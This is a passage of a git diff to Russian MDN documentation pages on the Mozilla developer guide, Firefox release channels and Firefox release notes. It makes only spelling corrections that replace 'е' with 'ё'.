-<p>Начиная с Firefox 45 Вы можете временно установить дополнения с жесткого диска.</p> +<p>Начиная с Firefox 45 Вы можете временно установить дополнения с жёсткого диска.</p> <p>Откройте "about:debugging" в Firefox, кликните "Загрузить временное дополнение", и выберете Ваш файл manifest.json. После этого Вы должны увидеть иконку дополнения на панели инструментов Firefox:</p> <p>{{EmbedYouTube("sAM78GU4P34")}}</p> -<p>Откройте веб-страницу, затем щелкните иконку, выберите зверя и посмотрите как страница изменится:</p> +<p>Откройте веб-страницу, затем щёлкните иконку, выберите зверя и посмотрите как страница изменится:</p> <p>{{EmbedYouTube("YMQXyAQSiE8")}}</p> diff --git a/files/ru/mozilla/developer_guide/index.html b/files/ru/mozilla/developer_guide/index.html index f670a1e0de..81ec0a3996 100644 --- a/files/ru/mozilla/developer_guide/index.html +++ b/files/ru/mozilla/developer_guide/index.html @@ -3,7 +3,7 @@ title: Инструкция разработчика slug: Mozilla/Developer_guide translation_of: Mozilla/Developer_guide --- -<p>Есть много способов помочь проекту Mozilla: можно писать код или тестировать существующий, совершенствовать инструменты или процесс сборки, улучшать документацию. Здесь Вы найдете информацию, которая не просто поможет Вам стать частью сообщества Mozilla, но будет полезной даже если Вы уже опытный участник сообщества Mozilla.</p> +<p>Есть много способов помочь проекту Mozilla: можно писать код или тестировать существующий, совершенствовать инструменты или процесс сборки, улучшать документацию. Здесь Вы найдёте информацию, которая не просто поможет Вам стать частью сообщества Mozilla, но будет полезной даже если Вы уже опытный участник сообщества Mozilla.</p> <div class="row topicpage-table"> <div class="section"> @@ -34,7 +34,7 @@ translation_of: Mozilla/Developer_guide <dt><a class="internal" href="/en-US/docs/Code_snippets" title="en-US/docs/Code_snippets">Примеры кода</a></dt> <dd>Полезные примеры кода, которые могут прояснить как сделать что-то, или могут стать основой для дальнейшего развития кода.</dd> <dt><a class="internal" href="/en-US/docs/Mozilla_Development_Strategies" title="en-US/docs/Mozilla Development Strategies">Стратегии разработки Mozilla</a></dt> - <dd>Подсказки как максимальной пользой использовать время проведенное над проектом Mozilla.</dd> + <dd>Подсказки как максимальной пользой использовать время проведённое над проектом Mozilla.</dd> <dt><a class="internal" href="/en-US/docs/Debugging" title="en-US/docs/Debugging">Отладка</a></dt> <dd>Полезные подсказки и руководства по отладке исходного кода Mozilla.</dd> <dt><a href="/en-US/docs/Performance" title="en-US/docs/Performance">Производительность</a></dt> @@ -46,7 +46,7 @@ translation_of: Mozilla/Developer_guide <dt><a href="/en-US/docs/Developer_Guide/Interface_Compatibility" title="en-US/docs/Developer Guide/Interface Compatibility">Совместимость интерфейсов</a></dt> <dd>Руководство по изменению скриптового и бинарного API в Mozilla.</dd> <dt><a href="/en-US/docs/Developer_Guide/Customizing_Firefox" title="en-US/docs/Developer Guide/Customizing Firefox">Кастомизация Firefox</a></dt> - <dd>Информация о создании измененной кастомизированной версии Firefox.</dd> + <dd>Информация о создании изменённой кастомизированной версии Firefox.</dd> <dt><a href="/en-US/docs/Developer_Guide/Virtual_ARM_Linux_environment" title="Virtual ARM Linux environment">Виртуальное окружение в ARM Linux</a></dt> <dd>Как настроить ARM эмулятор с запущенным Linux, чтобы протестировать ARM специфичный код. Эта часть будет полезной для разработчиков мобильных устройств.</dd> <dt><a href="/en-US/docs/Introduction/Obsolete_Build_Caveats_and_Tips" title="Obsolete Build Caveats and Tips">Устаревшие подсказки и советы для сборки</a></dt> @@ -77,7 +77,7 @@ translation_of: Mozilla/Developer_guide <dt><a href="https://treeherder.mozilla.org/perf.html">Perfherder</a></dt> <dd>Perfherder is used to aggregate the results of automated performance tests against the tree.</dd> <dt><a class="internal" href="https://wiki.developer.mozilla.org/en-US/docs/Crash_reporting" title="en-US/docs/Crash reporting">Crash tracking</a></dt> - <dd>Информация о <a class="link-https" href="https://crash-reports.mozilla.com/reports">Socorro</a> - системе отчетов об ошибках.</dd> + <dd>Информация о <a class="link-https" href="https://crash-reports.mozilla.com/reports">Socorro</a> - системе отчётов об ошибках.</dd> <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Developer_Guide/Callgraph" title="en-US/docs/Developing Mozilla/Callgraph">Callgraph</a></dt> <dd>A tool to help perform static analysis of the Mozilla code by generating callgraphs automatically.</dd> <dt><a href="https://www.mozilla.org/en-US/about/forums/">Developer forums</a></dt> diff --git a/files/ru/mozilla/developer_guide/inner_and_outer_windows/index.html b/files/ru/mozilla/developer_guide/inner_and_outer_windows/index.html index 4e02cc082f..69b8a2c05b 100644 --- a/files/ru/mozilla/developer_guide/inner_and_outer_windows/index.html +++ b/files/ru/mozilla/developer_guide/inner_and_outer_windows/index.html @@ -35,9 +35,9 @@ translation_of: Mozilla/Developer_guide/Inner_and_outer_windows <p>На этой диаграмме объекты, с которыми вы взаимодействуете непосредственно в DOM (т.е. {{ domxref("Window") }}, {{ domxref("Document") }}, и {{ domxref("Element") }}, имеют синий цвет. Серые круги представляют собой более абстрактные внутренние и внешние окна, которые являются реальными объектами, с которыми вы не взаимодействуете напрямую при работе с DOM. Окно в верхней части диаграммы - это внешнее окно.</p> -<p>По мере того, как пользователь перемещается в каждом из документов в различных рамках, каждое из этих внутренних окон имеет свою собственную историю, которую можно перемещать вперед и назад, как и в предыдущей диаграмме.</p> +<p>По мере того, как пользователь перемещается в каждом из документов в различных рамках, каждое из этих внутренних окон имеет свою собственную историю, которую можно перемещать вперёд и назад, как и в предыдущей диаграмме.</p> -<p>Элемент {{ HTMLElement("iframe") }} содержит свойство contentWindow, которое дает нам объект внешнего окна {{ domxref("Window") }}, содержащий документ кадра. Аналогично свойству contentDocument фрейма передаёт объект {{ domxref("Document") }} внутри фрейма.</p> +<p>Элемент {{ HTMLElement("iframe") }} содержит свойство contentWindow, которое даёт нам объект внешнего окна {{ domxref("Window") }}, содержащий документ кадра. Аналогично свойству contentDocument фрейма передаёт объект {{ domxref("Document") }} внутри фрейма.</p> <p>Окно, содержащее фрейм, можно получить из свойства {{ domxref("window.parent") }}.</p> diff --git a/files/ru/mozilla/developer_guide/introduction/index.html b/files/ru/mozilla/developer_guide/introduction/index.html index 622309fce9..d2964193e5 100644 --- a/files/ru/mozilla/developer_guide/introduction/index.html +++ b/files/ru/mozilla/developer_guide/introduction/index.html @@ -16,10 +16,10 @@ original_slug: Introduction_(alternate) </ul> <p>Для начала ознакомьтесь с <a href="/ru/Introduction" title="En/Introduction">основным руководством</a> - почти всё написанное в нём можно применить и к вышеупомянутым проблемам, в том числе поиск багов, с фикса которых можно начать, а также описание системы наставников.</p> <h2 id="Веб_сайты">Веб сайты</h2> -<p>Mozilla имеет более 100 различных веб-проектов и инструментов, почти все из которых - проекты с открытым кодом. Есть ресурсы<a class="link-https" href="https://blog.mozilla.com/webdev/get-involved/" title="https://blog.mozilla.com/webdev/get-involved/"> getting started with Mozilla's main web sites</a>, а также <a class="link-https" href="https://wiki.mozilla.org/Webdev:WhoWorksOnWhat" title="https://wiki.mozilla.org/Webdev:WhoWorksOnWhat">mostly-up-to-date list of web development projects</a> с участием Mozilla, и мы постоянно стремимся расширять этот список. В этих списках Вы найдете много интересных проектов и узнаете, как помочь их развитию.</p> +<p>Mozilla имеет более 100 различных веб-проектов и инструментов, почти все из которых - проекты с открытым кодом. Есть ресурсы<a class="link-https" href="https://blog.mozilla.com/webdev/get-involved/" title="https://blog.mozilla.com/webdev/get-involved/"> getting started with Mozilla's main web sites</a>, а также <a class="link-https" href="https://wiki.mozilla.org/Webdev:WhoWorksOnWhat" title="https://wiki.mozilla.org/Webdev:WhoWorksOnWhat">mostly-up-to-date list of web development projects</a> с участием Mozilla, и мы постоянно стремимся расширять этот список. В этих списках Вы найдёте много интересных проектов и узнаете, как помочь их развитию.</p> <h2 id="Проекты_на_гитхабе">Проекты на гитхабе</h2> -<p><a class="link-https" href="https://github.com/mozilla" title="https://github.com/mozilla">Mozilla github страница</a> содержит более 100 проектов, в которых Вы можете принять участие. Эти проекты разрабатываются с использованием обычной GitHub практики, так что для начала работы над каким-либо проектом Вам нужно лишь форкнуть его. <span class="short_text" id="result_box" lang="ru"><span class="hps">Мы</span> <span class="hps">с нетерпением ждем</span> <span class="hps">Ваших запросов</span> на мёрдж<span>!</span></span> Среди этих проектов есть и такие высоко-профильные, как <a class="link-https" href="https://github.com/mozilla/jetpack" title="https://github.com/mozilla/jetpack">Jetpack</a> и <a class="link-https" href="https://github.com/mozilla" title="https://github.com/mozilla">многие другие.</a></p> +<p><a class="link-https" href="https://github.com/mozilla" title="https://github.com/mozilla">Mozilla github страница</a> содержит более 100 проектов, в которых Вы можете принять участие. Эти проекты разрабатываются с использованием обычной GitHub практики, так что для начала работы над каким-либо проектом Вам нужно лишь форкнуть его. <span class="short_text" id="result_box" lang="ru"><span class="hps">Мы</span> <span class="hps">с нетерпением ждём</span> <span class="hps">Ваших запросов</span> на мёрдж<span>!</span></span> Среди этих проектов есть и такие высоко-профильные, как <a class="link-https" href="https://github.com/mozilla/jetpack" title="https://github.com/mozilla/jetpack">Jetpack</a> и <a class="link-https" href="https://github.com/mozilla" title="https://github.com/mozilla">многие другие.</a></p> <h2 id="Mozilla_Mercurial_репозитории">Mozilla Mercurial репозитории</h2> <p>Многие Mozilla-проекты лежат в своих собственных репозиториях на <a class="link-https" href="https://hg.mozilla.org/" title="https://hg.mozilla.org/">hg.mozilla.org</a>. Там можно увидеть<span id="result_box" lang="ru"> <span class="hps">иерархию </span><span class="hps">директорий </span><span class="hps">проектов</span><span>, а также</span> <span class="hps">какие из них</span> <span class="hps">в настоящее время</span> <span class="hps">поддерживается</span> <span class="hps">(подсказка</span> <span class="hps">- не все</span> <span class="hps">из них!)</span></span>. В числе таких проектов -<span id="result_box" lang="ru"> <span class="hps">многие</span> <span class="hps">основные</span> сферы деятельности <span class="hps">Mozilla</span></span>, такие как <a class="link-https" href="https://hg.mozilla.org/automation" title="https://hg.mozilla.org/automation">QA</a>, <a class="link-https" href="https://hg.mozilla.org/build" title="https://hg.mozilla.org/build">RelEng</a>, <a class="link-https" href="https://hg.mozilla.org/l10n" title="https://hg.mozilla.org/l10n">localization</a>, <a class="link-https" href="https://hg.mozilla.org/webtools" title="https://hg.mozilla.org/webtools">webtools</a>, <a class="link-https" href="https://hg.mozilla.org/users/" title="https://hg.mozilla.org/users/">core developers' user repos</a> и <a class="link-https" href="https://hg.mozilla.org" title="https://hg.mozilla.org/">другие</a>.</p> <h2 id="Другие_способы_принять_участие"><span class="short_text" id="result_box" lang="ru"><span class="hps">Другие способы</span> <span class="hps">принять участие</span></span></h2> -<p><span id="result_box" lang="ru"><span class="hps">Есть много способов</span> <span class="hps">внести свой вклад в</span> сообщество <span class="hps">Mozilla</span><span>, помимо</span> <span class="hps">программирования.</span> <span class="hps">Если вы хотите</span> <span class="hps">принять участие в</span> дизайне<span class="hps">, поддержке</span><span>, переводе,</span> <span class="hps">тестировании</span> <span class="hps">или в других видах вспомогательной деятельности</span><span class="hps">,</span> <span class="hps">см.</span></span> <a class="link-https" href="https://www.mozilla.org/contribute/areas.html" title="https://www.mozilla.org/contribute/areas.html">страницу волонтеров</a>.</p> +<p><span id="result_box" lang="ru"><span class="hps">Есть много способов</span> <span class="hps">внести свой вклад в</span> сообщество <span class="hps">Mozilla</span><span>, помимо</span> <span class="hps">программирования.</span> <span class="hps">Если вы хотите</span> <span class="hps">принять участие в</span> дизайне<span class="hps">, поддержке</span><span>, переводе,</span> <span class="hps">тестировании</span> <span class="hps">или в других видах вспомогательной деятельности</span><span class="hps">,</span> <span class="hps">см.</span></span> <a class="link-https" href="https://www.mozilla.org/contribute/areas.html" title="https://www.mozilla.org/contribute/areas.html">страницу волонтёров</a>.</p> diff --git a/files/ru/mozilla/firefox/index.html b/files/ru/mozilla/firefox/index.html index 59c7b007d6..9e4cf629e6 100644 --- a/files/ru/mozilla/firefox/index.html +++ b/files/ru/mozilla/firefox/index.html @@ -36,13 +36,13 @@ translation_of: Mozilla/Firefox <h3 id="Firefox_Nightly">Firefox Nightly</h3> -<p>Каждую ночь мы собираем Firefox из самых свежих исходных кодов в репозитории <a href="/ru/docs/Developer_Guide/mozilla-central">mozilla-central</a>. Эти сборки для разработчиков Firefox или тех, кто хочет попробовать самые последние разработанные возможности, которые еще находятся в процессе активной разработки.</p> +<p>Каждую ночь мы собираем Firefox из самых свежих исходных кодов в репозитории <a href="/ru/docs/Developer_Guide/mozilla-central">mozilla-central</a>. Эти сборки для разработчиков Firefox или тех, кто хочет попробовать самые последние разработанные возможности, которые ещё находятся в процессе активной разработки.</p> <p><a class="external external-icon" href="https://nightly.mozilla.org/" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Загрузить Firefox Nightly</a></p> <h3 id="Firefox_Developer_Edition_Firefox_Аврора">Firefox Developer Edition (Firefox Аврора)</h3> -<p>Эта версия предназначена для разработчиков. Каждые шесть недель, мы берем из Firefox Nightly всю функциональность, которая уже опробована и считается более или менее стабильной и создаем новую версию Firefox Developer Edition. Помимо этого она включает в себя некоторые дополнительные возможности, которые доступны только на этом канале.</p> +<p>Эта версия предназначена для разработчиков. Каждые шесть недель, мы берём из Firefox Nightly всю функциональность, которая уже опробована и считается более или менее стабильной и создаём новую версию Firefox Developer Edition. Помимо этого она включает в себя некоторые дополнительные возможности, которые доступны только на этом канале.</p> <p><a href="/ru/docs/Firefox/Developer_Edition">Узнать больше о Firefox Developer Edition</a>.</p> @@ -50,13 +50,13 @@ translation_of: Mozilla/Firefox <h3 id="Firefox_Бета">Firefox Бета</h3> -<p>После шести недель в Firefox Developer Edition, мы берем стабильную функциональность и создаем новую версию Firefox Beta. Сборка Firefox Beta предназначена для тестирования новой функциональности энтузиастами Firefox, которая войдет в следующий релиз Firefox.</p> +<p>После шести недель в Firefox Developer Edition, мы берём стабильную функциональность и создаём новую версию Firefox Beta. Сборка Firefox Beta предназначена для тестирования новой функциональности энтузиастами Firefox, которая войдёт в следующий релиз Firefox.</p> <p><a class="external external-icon" href="https://www.mozilla.org/firefox/channel/#beta" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Загрузить Firefox Бета</a></p> <h3 id="Firefox">Firefox</h3> -<p>После еще шести недель, мы еще раз отбираем функциональность, для которой не было найдено ошибок, и добавляем их в новую версию Firefox, после чего все эти новые возможности становятся доступны миллионам пользователей.</p> +<p>После ещё шести недель, мы ещё раз отбираем функциональность, для которой не было найдено ошибок, и добавляем их в новую версию Firefox, после чего все эти новые возможности становятся доступны миллионам пользователей.</p> <p><a class="external external-icon" href="https://www.mozilla.org/firefox/channel/#firefox" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Загрузить Firefox</a></p> diff --git a/files/ru/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html b/files/ru/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html index 5eb1c53cfe..0b4f4da4bd 100644 --- a/files/ru/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html +++ b/files/ru/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html @@ -173,7 +173,7 @@ function loadOnlyFirst() { </html> </pre> -<p>Напротив, если приведённая выше страница не обрабатывает событие <code>pageshow</code> и выполняет все вычисления в обработчике события <code>load</code> (если код написан так, как показано в примере ниже), как положение курсора, так и дата/время в Firefox 1.5 будут кэшированы, когда пользователь уйдет со страницы. Когда пользователь вернется на страницу, отобразятся кешированные дата/время.</p> +<p>Напротив, если приведённая выше страница не обрабатывает событие <code>pageshow</code> и выполняет все вычисления в обработчике события <code>load</code> (если код написан так, как показано в примере ниже), как положение курсора, так и дата/время в Firefox 1.5 будут кэшированы, когда пользователь уйдёт со страницы. Когда пользователь вернётся на страницу, отобразятся кешированные дата/время.</p> <pre><script> function onLoad() { diff --git a/files/ru/mozilla/firefox/releases/32/index.html b/files/ru/mozilla/firefox/releases/32/index.html index cda18f1f56..8444815a32 100644 --- a/files/ru/mozilla/firefox/releases/32/index.html +++ b/files/ru/mozilla/firefox/releases/32/index.html @@ -93,9 +93,9 @@ translation_of: Mozilla/Firefox/Releases/32 <h4 id="Подробнее">Подробнее</h4> -<p><a class="external external-icon" href="https://github.com/mozilla/addon-sdk/compare/firefox31...firefox32">Коммиты GitHub между версиями Firefox 31 и Firefox 32</a>. Не будут включать никаких поднятий, сделанных после того, как этот выпуск войдет в Aurora.</p> +<p><a class="external external-icon" href="https://github.com/mozilla/addon-sdk/compare/firefox31...firefox32">Коммиты GitHub между версиями Firefox 31 и Firefox 32</a>. Не будут включать никаких поднятий, сделанных после того, как этот выпуск войдёт в Aurora.</p> -<p><a class="external external-icon" href="https://bugzilla.mozilla.org/buglist.cgi?resolution=FIXED&chfieldto=2014-06-09&chfield=resolution&query_format=advanced&chfieldfrom=2014-04-28&chfieldvalue=FIXED&bug_status=RESOLVED&bug_status=VERIFIED&bug_status=CLOSED&product=Add-on%20SDK&list_id=10493962">Ошибки исправленные Firefox 31 и Firefox 32</a>. Сюда не включены изменения, сделанные после того, как этот релиз был перемещен в стадию Aurora.</p> +<p><a class="external external-icon" href="https://bugzilla.mozilla.org/buglist.cgi?resolution=FIXED&chfieldto=2014-06-09&chfield=resolution&query_format=advanced&chfieldfrom=2014-04-28&chfieldvalue=FIXED&bug_status=RESOLVED&bug_status=VERIFIED&bug_status=CLOSED&product=Add-on%20SDK&list_id=10493962">Ошибки исправленные Firefox 31 и Firefox 32</a>. Сюда не включены изменения, сделанные после того, как этот релиз был перемещён в стадию Aurora.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/mozilla/firefox/releases/33/index.html b/files/ru/mozilla/firefox/releases/33/index.html index 71106729df..a5e12b256e 100644 --- a/files/ru/mozilla/firefox/releases/33/index.html +++ b/files/ru/mozilla/firefox/releases/33/index.html @@ -33,7 +33,7 @@ translation_of: Mozilla/Firefox/Releases/33 <h3 id="JavaScript">JavaScript</h3> <ul> - <li>Удален нестандартный метод {{jsxref("Number.toInteger()")}} ({{bug(1022396)}}).</li> + <li>Удалён нестандартный метод {{jsxref("Number.toInteger()")}} ({{bug(1022396)}}).</li> <li>Методы {{jsxref("Map.prototype.set()")}}, {{jsxref("WeakMap.prototype.set()")}} and {{jsxref("Set.prototype.add()")}} можно использовать последовательно, больше не возвращают <code>undefined</code> в место этого возвращают объект. ({{bug(1031632)}}).</li> <li>Добавлена поддержка типа данных "Symbol" из стандарта ECMAScript 6 ({{bug(645416)}}): <ul> diff --git a/files/ru/mozilla/firefox/releases/43/index.html b/files/ru/mozilla/firefox/releases/43/index.html index 45f428ba81..f03fccb0bd 100644 --- a/files/ru/mozilla/firefox/releases/43/index.html +++ b/files/ru/mozilla/firefox/releases/43/index.html @@ -31,7 +31,7 @@ translation_of: Mozilla/Firefox/Releases/43 <h3 id="CSS">CSS</h3> <ul> - <li>Удален префикс CSS свойства {{Cssxref("hyphens")}} ({{bug(953408)}}).</li> + <li>Удалён префикс CSS свойства {{Cssxref("hyphens")}} ({{bug(953408)}}).</li> <li>CCS свойство {{cssxref("font")}} теперь поддерживает указание {{cssxref("font-stretch")}} {{bug(1057680)}}).</li> <li>Псевдокласс {{cssxref(":fullscreen")}} теперь выбирает весь стек элементов с дисплея в полноэкранном режиме, а не только элементы высшего уровня ({{bug(1199522)}}).</li> <li>Устаревшие свойства SVG {{cssxref("writing-mode")}}, <code>lr</code>, <code>lr-tb</code>, <code>rl</code>, <code>tb</code>, and <code>tb-rl</code>, добавлены в CSS как алиасы стандартных CSS свойств ({{bug(1205787)}}).</li> @@ -41,7 +41,7 @@ translation_of: Mozilla/Firefox/Releases/43 <ul> <li>Для тега {{htmlelement("img")}} с изображением формата ICO содержащего несколько кадров (анимированного), разрешение изображения будет равным разрешению самого большого кадра, а не самого малого {{bug(1201796)}}.</li> - <li>Значение области просмотра документа (viewport) (определенного с помощью тега <code><<a href="/en-US/docs/Web/HTML/Element/meta">meta</a> name="viewport></code>) можно динамически изменять с помощью JavaScript ({{bug(976616)}}).</li> + <li>Значение области просмотра документа (viewport) (определённого с помощью тега <code><<a href="/en-US/docs/Web/HTML/Element/meta">meta</a> name="viewport></code>) можно динамически изменять с помощью JavaScript ({{bug(976616)}}).</li> </ul> <h3 id="JavaScript">JavaScript</h3> @@ -55,7 +55,7 @@ translation_of: Mozilla/Firefox/Releases/43 <h4 id="Изменения_связанные_с_объектом_arguments">Изменения связанные с объектом <code>arguments</code></h4> <ul> - <li>Более полное соответствие спецификации ES2015, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">стрелочные функции </a>больше не содержат свой собственный встроенный объект<code> <a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code>. Объект <code>arguments</code> теперь прикреплен лексически (наследуется от внешней функции). В большинстве случаев, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">остаточные параметры </a>лучшая альтернатива<code> (...args) => args[i]</code>, смотри {{bug(889158)}}.</li> + <li>Более полное соответствие спецификации ES2015, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">стрелочные функции </a>больше не содержат свой собственный встроенный объект<code> <a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code>. Объект <code>arguments</code> теперь прикреплён лексически (наследуется от внешней функции). В большинстве случаев, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">остаточные параметры </a>лучшая альтернатива<code> (...args) => args[i]</code>, смотри {{bug(889158)}}.</li> <li>Объект <a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a> теперь разрешается использовать вместе с <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">остаточными параметрами </a>({{bug(1133298)}}).</li> <li>Теперь, объект map <code><a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code> в нестрогих функциях доступен только если функция не содержит другие <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">остаточные параметры</a>, или <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметры по умолчанию или </a><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructured parameters</a> ({{bug(1175394)}}).</li> </ul> @@ -69,7 +69,7 @@ translation_of: Mozilla/Firefox/Releases/43 <h4 id="IndexedDB">IndexedDB</h4> <ul> - <li>Добавлена <a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Locale-aware_sorting">сортировка с учетом локали</a>, которая позволяет создавать индексы учитывающие локаль. Эти индексы потом могут быть использованы чтобы отсортировать данные с учетом правил локали. ({{bug(871846)}}). Это не стандартная функция и доступна только в Firefox.</li> + <li>Добавлена <a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Locale-aware_sorting">сортировка с учётом локали</a>, которая позволяет создавать индексы учитывающие локаль. Эти индексы потом могут быть использованы чтобы отсортировать данные с учётом правил локали. ({{bug(871846)}}). Это не стандартная функция и доступна только в Firefox.</li> </ul> <h4 id="Service_Workers">Service Workers</h4> @@ -97,7 +97,7 @@ translation_of: Mozilla/Firefox/Releases/43 <li>В Линукс, как и в Windows, {{domxref("Event.timeStamp")}} теперь возвращает {domxref("DOMHighResTimeStamp")}} ({{bug(1026803)}}).</li> <li>Экспериментальная поддержка {{domxref("Selection")}} событий {{event("selectionchange")}} и {{event("selectstart")}}, а также добавлены {{domxref("Document.onselectionchange")}} и {{domxref("GlobalEventHandlers.onselectstart")}} свойства для обработчиков событий ({{bug(571294)}}). Событие<code> selectionchange</code> теперь возникает на {{domxref("Document")}} если связано с объектом <code>Selection</code>, или в особом случае {{domxref("HTMLInputElement")}} или {{domxref("HTMLTextAreaElement")}} ({{bug(1196479)}}). Это свойство контролируется с помощью настройки <code>dom.select_events.enabled</code>, которое по умолчанию имеет значение <code>false</code>, за исключением Firefox Nightly.</li> <li>Поддержка {{domxref("MouseEvent.offsetX")}} и {{domxref("MouseEvent.offsetY")}} доступна по умолчанию в Android версии Firefox и Firefox OS ({{bug(1204841)}}).</li> - <li>Удален метод {{domxref("HTMLCanvasElement.mozFetchAsStream()")}} ({{bug(1206030)}}).</li> + <li>Удалён метод {{domxref("HTMLCanvasElement.mozFetchAsStream()")}} ({{bug(1206030)}}).</li> <li>Конструктор {{domxref("Request.Request", "Request()")}} а также {{domxref("Window.fetch", "fetch()")}} теперь выбросит исключение {{exception("TypeError")}} если будет использовано в URL которое содержит параметры с именами username и password ({{bug(1195820)}}).</li> </ul> @@ -124,8 +124,8 @@ translation_of: Mozilla/Firefox/Releases/43 <h2 id="Безопасность">Безопасность</h2> <ul> - <li>Доступ к Web Storage (i.e. <code>localStorage</code> и <code>sessionStorage</code>) из других IFrame-мов запрещен если у пользователя <a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">заблокированы куки из сторонних сервисов (других веб-сайтов) </a>({{bug("536509")}}).</li> - <li>Белый список удален из Nightly и Aurora/Dev Edition браузеров ({{bug(1201023)}}). Также запланировано удаление из Beta и Release версий в следующей версии (Firefox 44).</li> + <li>Доступ к Web Storage (i.e. <code>localStorage</code> и <code>sessionStorage</code>) из других IFrame-мов запрещён если у пользователя <a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">заблокированы куки из сторонних сервисов (других веб-сайтов) </a>({{bug("536509")}}).</li> + <li>Белый список удалён из Nightly и Aurora/Dev Edition браузеров ({{bug(1201023)}}). Также запланировано удаление из Beta и Release версий в следующей версии (Firefox 44).</li> <li>Реализована целостность ресурсов для {{htmlelement("script")}} и {{htmlelement("link")}} которые ведут к файлам стилей ({{bug("992096")}}).</li> </ul> diff --git a/files/ru/mozilla/firefox/releases/50/index.html b/files/ru/mozilla/firefox/releases/50/index.html index 6b9122dff1..922e31a7dc 100644 --- a/files/ru/mozilla/firefox/releases/50/index.html +++ b/files/ru/mozilla/firefox/releases/50/index.html @@ -16,7 +16,7 @@ translation_of: Mozilla/Firefox/Releases/50 <h3 id="HTML">HTML</h3> <ul> - <li>Стиль элемента по умолчанию {{HTMLElement("bdo")}} теперь определен как {{cssxref("unicode-bidi")}} имеющий значение <code>isolate-override</code> ({{bug(1249497)}}).</li> + <li>Стиль элемента по умолчанию {{HTMLElement("bdo")}} теперь определён как {{cssxref("unicode-bidi")}} имеющий значение <code>isolate-override</code> ({{bug(1249497)}}).</li> <li>Установка атрибута {{htmlattrxref("src", "track")}} элемента {{HTMLElement("track")}} теперь работает корректно ({{bug(1281418)}}).</li> <li>Атрибут <code>referrerpolicy</code> у элементов {{HTMLElement("area")}}, {{HTMLElement("a")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}} and {{HTMLElement("link")}} теперь доступен по умолчанию ({{bug(1223838)}}, {{bug(1264165)}}).</li> </ul> diff --git a/files/ru/mozilla/firefox/releases/53/index.html b/files/ru/mozilla/firefox/releases/53/index.html index e8fc00a0fd..969d7052ce 100644 --- a/files/ru/mozilla/firefox/releases/53/index.html +++ b/files/ru/mozilla/firefox/releases/53/index.html @@ -70,7 +70,7 @@ translation_of: Mozilla/Firefox/Releases/53 <h3 id="DOM"><font><font>DOM</font></font></h3> <ul> - <li><font><font>{{Domxref ( "HTMLHyperLinkElementUtils.pathname", "путь")}} и {{domxref ( "HTMLHyperLinkElementUtils.search", "поиск")}} {{domxref ( "HTMLHyperLinkElementUtils")}} свойства ранее возвращено неправильные части в URL. </font><font>Например, для URL из </font></font><code>http://z.com/x?a=true&b=false</code><font><font>, </font></font><code>pathname</code><font><font>будет возвращаться « </font></font><code>/x?a=true&b=false"</code><font><font>и </font></font><code>search</code><font><font>вернется„“, а не» </font></font><code>/x</code><font><font>«и» </font></font><code>?a=true&b=false"</code><font><font>соответственно. </font><font>Теперь это было исправлено ({{bug (1310483)}}).</font></font></li> + <li><font><font>{{Domxref ( "HTMLHyperLinkElementUtils.pathname", "путь")}} и {{domxref ( "HTMLHyperLinkElementUtils.search", "поиск")}} {{domxref ( "HTMLHyperLinkElementUtils")}} свойства ранее возвращено неправильные части в URL. </font><font>Например, для URL из </font></font><code>http://z.com/x?a=true&b=false</code><font><font>, </font></font><code>pathname</code><font><font>будет возвращаться « </font></font><code>/x?a=true&b=false"</code><font><font>и </font></font><code>search</code><font><font>вернётся„“, а не» </font></font><code>/x</code><font><font>«и» </font></font><code>?a=true&b=false"</code><font><font>соответственно. </font><font>Теперь это было исправлено ({{bug (1310483)}}).</font></font></li> <li><font><font>{{Domxref ( "URLSearchParams.URLSearchParams", "URLSearchParams ()")}} Конструктор теперь принимает на {{domxref ( "USVString")}} или последовательность {{domxref ( "USVString")}} ев в качестве инициализации объект ({{bug( "1330678")}}).</font></font></li> <li><font><font>{{Domxref ( "Selection.setBaseAndExtent ()")}} метод </font></font><a href="/en-US/docs/Web/API/Selection_API"><font><font>API выбора</font></font></a><font><font> теперь реализован (см {{bug (1321623)}}).</font></font></li> <li><a href="https://html.spec.whatwg.org/multipage/forms.html#fakepath-srsly"><font><font>"Fakepath"</font></font></a><font><font> дополнение 